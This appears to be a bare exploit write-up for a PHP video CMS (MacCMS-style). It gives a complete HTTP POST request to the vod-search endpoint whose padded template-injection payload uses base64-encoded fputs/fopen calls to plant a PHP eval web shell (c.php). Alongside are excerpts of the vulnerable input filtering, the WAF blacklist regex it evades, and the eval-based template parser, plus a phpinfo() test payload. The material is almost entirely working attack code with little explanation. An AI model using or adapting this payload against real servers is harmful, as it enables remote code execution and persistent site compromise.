POST /index.php?m=vod-search HTTP/1.1
Host: xxx.xxx.xxx.xx
Content-Length: 500137
Cache-Control: max-age=0
Origin: xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: xxx.xxx.xxx.xx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_ff7f6fcad4e6116760e7b632f9614dc2=1574418087,1574670614,1574673402,1575271439; Hm_lvt_137ae1af30761db81edff2e16f0bf0f8=1574418087,1574670615,1574673402,1575275889; pgv_pvi=8322096128; PHPSESSID=pr37r8fkshd854f8fnfep4ov53; adminid=1; adminname=admin; adminlevels=b%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj; admincheck=2afdbd385cb6c2af162e6733f1b0e2d2
Connection: close

wd=union(80w个a){if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

$acs = array('vod','art','map','user','gbook','comment','label');

if(in_array($ac,$acs)){
        $tpl->P['module'] = $ac;
        include MAC_ROOT.'/inc/module/'.$ac.'.php';
    }
    else{
        showErr('System','未找到指定系统模块');
    }
    unset($par);
    unset($acs);
    $tpl->ifex();

elseif($method=='search')
{
    $tpl->C["siteaid"] = 15;
    $wd = trim(be("all", "wd")); 
    $wd = chkSql($wd);
    if(!empty($wd)){ 
    $tpl->P["wd"] = $wd; 
  }

  .....

  $tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
    $tpl->mark();
    $tpl->pageshow();

function be($mode,$key,$sp=',')
{
    ini_set("magic_quotes_runtime", 0);
    $magicq= get_magic_quotes_gpc();
    switch($mode)
    {
        case 'post':
            $res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';
            break;
        case 'get':
            $res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';
            break;
        case 'arr':
            $arr =isset($_POST[$key]) ? $_POST[$key] : '';
            if($arr==""){
                $value="0";
            }
            else{
                for($i=0;$i<count($arr);$i++){
                    $res=implode($sp,$arr);
                } 
            }
            break;
        default:
            $res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';
            break;
    }
    return $res;
}

function chkSql($s)
{
    global $getfilter,$postfilter;
    if(empty($s)){
        return "";
    }
    $s = htmlspecialchars(urldecode(trim($s))); 
    StopAttack(1,$s,$getfilter);
  StopAttack(1,$s,$postfilter);
    return $s;
}

function chkShow()
{
    $errmsg = "<div style=\"position:fixed;top:0px;width:100%;height:100%;background-color:white;color:green;font-weight:bold;border-bottom:5px solid #999;\"><br>您的提交带有不合法参数,谢谢合作!<br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."</div>";
    print $errmsg;
    exit();
}
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq)
{

 $StrFiltValue=arr_foreach($StrFiltValue);
 $StrFiltValue=urldecode($StrFiltValue);

 if(preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
        chkShow();
 }
 if(preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){
        chkShow();
 }
}

<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|be\\(|eval\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover|eval)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|UNION([\s\S]*?)SELECT|SELECT|UPDATE|_get|_post|_request|_cookie|_server|eval|assert|fputs|fopen|global|chr|strtr|pack|system|gzuncompress|shell_|base64_|file_|proc_|preg_|call_|ini_|php|\\{|\\}|\\(|\\\|\\)

function ifex()
    {
        if (!strpos(",".$this->H,"{if-")) { return; }
        $labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
        preg_match_all($labelRule,$this->H,$iar);

  ...

    try{
            if (strpos(",".$strThen,$labelRule2)>0){
        ...
     $ee = @eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
        if(!$elseifFlag){
           ...
           @eval("if($strElseif){\$resultStr='$strElseifThen'; \$elseifFlag=true;}");
                     ...
        if(!$elseifFlag){
           ...
           @eval("if($strElseif0){\$resultStr='$strElseifThen0';\$elseifFlag=true;}");
           ...
      else{
                $ifFlag = false;
                if (strpos(",".$strThen,$labelRule3)>0){
          ...
            @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
          ...
        else{
                    @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
          if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }

          ...
        }
         ...

$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");

preg_match_all($labelRule,$this->H,$iar);

eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");

{if-A:phpinfo()}{endif-A}